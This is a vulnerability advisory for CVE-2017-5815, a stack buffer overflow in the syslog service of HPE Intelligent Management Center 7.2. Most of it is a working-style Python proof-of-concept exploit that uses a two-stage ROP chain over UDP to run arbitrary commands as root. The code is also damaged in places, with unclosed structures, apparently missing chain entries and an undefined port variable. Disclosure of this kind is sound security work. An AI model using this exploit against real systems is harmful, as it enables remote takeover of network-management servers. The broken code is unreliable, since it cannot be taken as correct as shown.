SSD Advisory – HPE Intelligent Management Center (iMC) Code Execution

Vulnerability Summary
The following advisory describes a Stack Buffer Overflow vulnerability found in HPE Intelligent Management Center version v7.2 (E0403P10) Enterprise, this vulnerability leads to an exploitable remote code execution.
HPE Intelligent Management Center (iMC) delivers comprehensive management across campus core and data center networks. iMC converts meaningless network data to actionable information to keep your network, and your business, moving.
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
HPE has released a patch to address this vulnerability and issued the following CVE-2017-5815.

Vulnerability Details
HPE Intelligent Management Center (iMC) is vulnerable to a stack buffer overflow that lead to remote code execution. The `imcsyslogdm` service handles syslog messages received on UDP port 514.
The `imcsyslogdm` service handles the forwarded messages by using `FORWARD_HEAD` ( ‘Forwarded From:‘) and `FORWARD_HEAD_END` (‘Quidview‘) markers at the beginning of the packet to indicate the originator of the syslog message. In case there’s a `FORWARD_HEAD` marker but no `FORWARD_HEAD_END`, the application ends up copying the contents of the packet into a fixed-size stack buffer that is vulnerable to a buffer overflow.
Proof of Concept
The first stage of the proof of concept is used to trigger the overflow and start a ROP chain by sending data on UDP port 514. The application also binds to UDP port 65535 but doesn’t seem to use it. After we triggered the buffer overflow, we will look for the file descriptor of this socket – the file descriptor number of this socket seems to be the number 27 most of the time, and the number 28 occasionally. To avoid non-determinism, the ROP chain retrieves the file descriptor number from the singleton instance holding it.
Then it reads 0x25f bytes into the .bss and pivots the stack there. The second stage contains another ROP chain, the command to be executed, and some helper strings. It resolves the address of `system` in libc via `dlopen` and `dlsym`. Executes the command via `system`. The command length is currently limited to ~470 bytes (the exploit checks for this) but could be extended for more and ends in an infinite loop.
While termination is avoided this way, this thread is responsible for handling syslog messages, so that function of the program will be broken.

#!/usr/bin/env python2
import socket
import struct
IP = ''
PORT = 514
# the command to execute
command = 'echo "OK GOOGLE!" > /etc/issue ; #\0'
# port to use for the second stage payload, this is created during normal operation
# of the application, we just reuse it because there's no other thread waiting on it
# like in the case of the initial udp/514 vector, which could interfere with sending
# the second stage
# markers used for forwarded syslog messages
SYSLOG_FORWARD_HEAD = 'Forwarded From:'
def rop(*args):
    return struct.pack('I' * len(args), *args)
# mock object of the ELF class from pwntools so that the final exploit doesn't depend on it
class ELF:
    def bss(self, offset):
        return 0x884D0C0 + offset
    plt = {
        'read': 0x805957C,
        'dlopen': 0x805857C,
        'dlsym': 0x80597BC,
e = ELF()
# strings used in the second stage
libc_str = '\0'
system_str = 'system\0'
# ROP gadgets from, the latest available version:
#   (Intelligent Management Center Enterprise (7.2_E0403) with E0403P10 applied
# [root@vm bin]# md5sum imcsyslogdm
# 8b06adbd3d47a372358d9106e659d9b2  imcsyslogdm
pop2_ret = 0x0805b137       # pop edi ; pop ebp ; ret
pop3_ret = 0x08480408       # pop edi ; pop ebx ; pop ebp ; ret
pop4_ret = 0x084f213a       # pop edi ; pop esi ; pop ebx ; pop ebp ; ret
zero_edx = 0x084f90c1       # xor edx, edx ; ret
inc_edx = 0x0811c5e6        # inc edx ; ret
pop_ebx = 0x080dd8cd        # pop ebx ; ret
# used to write values obtained dynamically by the ROP chain to the stack
eax_to_stack = 0x08703fba   # mov dword ptr [esp + edx*8], eax ; adc dword ptr [ebx], eax ; ret
ret = 0x080485c0            # ret
add_eax_28 = 0x084ddd16     # add eax, 0x1c ; pop ebp ; ret
dec_eax = 0x080dd660        # dec eax ; ret
zero_eax = 0x080834d4       # xor eax, eax ; ret
add_eax_25f = 0x0845f636    # add eax, 0x25f ; pop ebx ; pop ebp ; ret
ret_C = 0x0814b04e          # ret 0xc
xchg_eax_esp = 0x0807a2c7   # xchg eax, esp ; ret
pop_eax = 0x0837db70        # pop eax ; ret
get_instance = 0x08091210   # ::instance of a Singleton used to retrieve a socket fd
mov_eax_eax_plus_0x5c = 0x08562d44  # mov eax, dword ptr [eax + 0x5c] ; ret
# the offset of the second stage into the .bss
second_stage_offset_into_bss = 0x6500
second_stage_data = libc_str + system_str + command
# place the data above the rop chain so that the stack usage of functions
# won't clobber it. Also, the second ROP chain has to be shorter than this.
second_stage_data_offset = 120
# the length of the command to be executed is limited to around 470 bytes
assert len(command) < 0x25f - second_stage_data_offset - len(system_str) - len(libc_str)
# the first stage has to be 0-byte free, so we do as little as possible here to read in a second stage
first_stage = rop(
    # the stack write gadget (`eax_to_stack` above) writes eax to [esp + edx*8]
    # points somewhere in the bss, just needs to be writable for the eax_to_stack gadget
    # the second stage goes to udp/65535, which the application binds but doesn't
    # seem to use for anything. The only thing not completely deterministic in the exploit
    # is the fd number of this port, which seems to be quite reliably 27 but sometimes 28.
    # We get its fd from a class member, and we get the class via a singleton ::instance function.
    # [root@vm bin]# lsof | grep syslog | grep UDP | grep 65535
    # imcsyslog 24741      root   27u     IPv4           39655685       0t0        UDP *:65535
    eax_to_stack,                   # write the handle to the stack
    # write the read count to the stack
    # picked up by the above into ebx, written to by eax_to_stack, just needs to be writable
    e.bss(second_stage_offset_into_bss - 0x80),
    eax_to_stack,  # write the handle to the stack
    0x41414141, 0x41414141, 0x41414141,
    0x41414141,     # placeholder for the fd of udp/65535
    0x41414141,     # placeholder for the read count
assert '\0' not in first_stage
print('* Sending first stage to udp/514')
# print repr(first_stage)
s_514 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s_514.sendto(SYSLOG_FORWARD_HEAD + 'A'*48 + first_stage + '\0',
             (IP, PORT))
# the second stage does a dlopen/dlsym to get the address of the system function,
# then executes the given command via it.
second_stage = rop(
    e.plt['dlopen'],                # get libc handle
    e.bss(second_stage_offset_into_bss + second_stage_data_offset),
    2,                              # RTLD_NOW (why not)
    # write the returned handle to the stack
    e.bss(second_stage_offset_into_bss - 0x80),                   # somewhere in the bss
    eax_to_stack,                   # write the handle to the stack
    0x41516171,                     # placeholder, libc handle is written here
    e.bss(second_stage_offset_into_bss + second_stage_data_offset + len(libc_str)),      # address is 'system' string
    # write the returned address to the stack
    e.bss(second_stage_offset_into_bss - 0x80),                   # somewhere in the bss
    eax_to_stack,                   # write the handle to the stack
    0x51617181,                     # placeholder, the address of system gets written here
    0x854ae76,                      # continuation of execution: a simple infinite loop of 0xeb 0xfe
    e.bss(second_stage_offset_into_bss + second_stage_data_offset + len(libc_str) + len(system_str))
print('* Sending second stage to udp/65535')
# print repr(second_stage)
second_stage_final = second_stage.ljust(second_stage_data_offset) + second_stage_data
s_65535 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s_65535.sendto(second_stage_final.ljust(0x25f), (IP, PORT_SECOND_STAGE))
print('! Done.')